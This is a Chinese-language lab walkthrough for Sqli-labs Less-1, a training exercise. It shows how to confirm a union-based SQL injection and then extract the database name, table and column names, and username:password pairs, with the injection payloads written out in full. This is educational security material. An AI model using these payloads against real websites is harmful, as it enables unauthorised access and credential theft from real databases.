Sqli-labs Less-1 Get Union注入
打开页面后提示“请输入参数id,并为它赋一个数字值”。
1、寻找注入点
输入?id=1 正常;输入?id=1' 报错,说明存在sql注入漏洞。
尝试在URL后添加?id=1回车,页面响应“Your Login name:Dumb Your Password:Dumb”。
尝试在URL后添加?id=1'回车,页面报SQL语法错误。
根据报错信息,猜想输入参数的值被放到一对单引号之间。
猜测后台源码中存在类似于如下的数据库查询语句(可查看后台源码证实猜测):
SELECT * FROM users WHERE id='$id' LIMIT 0,1
2、使用order by 1-99查询该数据表中的字段数量
输入?id=1' order by 3 --+ 正常;
输入?id=1' order by 4 --+ 报错,说明该数据表中字段数为3。
原理:select * from table order by n 表示查询结果按照select里面的第n个字段排序,如果表中只有3个字段,则我们order by 4查询时,因为没有第4个字段,所以报错。
3、爆数据库
在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面。由于是将数据输出到页面上的,所以可以使用union注入,且通过order by查询结果,得到的字段数为3,所以union注入的语句如下:?id=1' union select 1,2,3 --+
如上图所示,可以看到页面成功执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面。
可以通过设置参数ID值,让服务端返回union select的结果,例如把ID的值设置为-1(输入?id=-1' union select 1,2,3 --+),这样数据库中没有id=-1的数据,所以会返回union select的结果。如下图所示。
返回的结果为2,3,意味着在union select 1,2,3中,2和3位置可以输入mysql语句。我们尝试在2的位置查询当前数据库名(使用database()函数),构造Payload如下
?id=-1' union select 1,database(),3 --+
页面成功返回了数据库信息,得到数据库库名为security,如下图所示。
4、爆数据表
得知了数据库库名,接下来输入以下payload查询表名。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
5、爆数据列(字段)
现在,已知库名和表名,开始查询字段名,这里以users表名为例,构造payload如下。
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
6、爆数据值
payload
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
知识点:
(1)在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
- SCHEMATA表存储该用户创建的所有数据库的库名,我们需要记住该表中记录数据库库名的字段名为SCHEMA_NAME。
- TABLES表存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
- COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,我们需要记住该表中记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。
(2)需要记住的几个函数:
- database():当前网站使用的数据库。
- version():当前mysql的版本。
- user():当前mysql的用户。
(3)group_concat函数是典型的字符串连接函数。group_concat(table_name)表示把table_name字段的值打印在一行,逗号分隔(默认)。
(4)0x3a是:
16进制的分隔符,比如在爆数据值时,(username,0x3a,password)表示(username:password)。
(5)--+中,“--”是SQL查询语句中的注释符,“+”在URL中表示空格。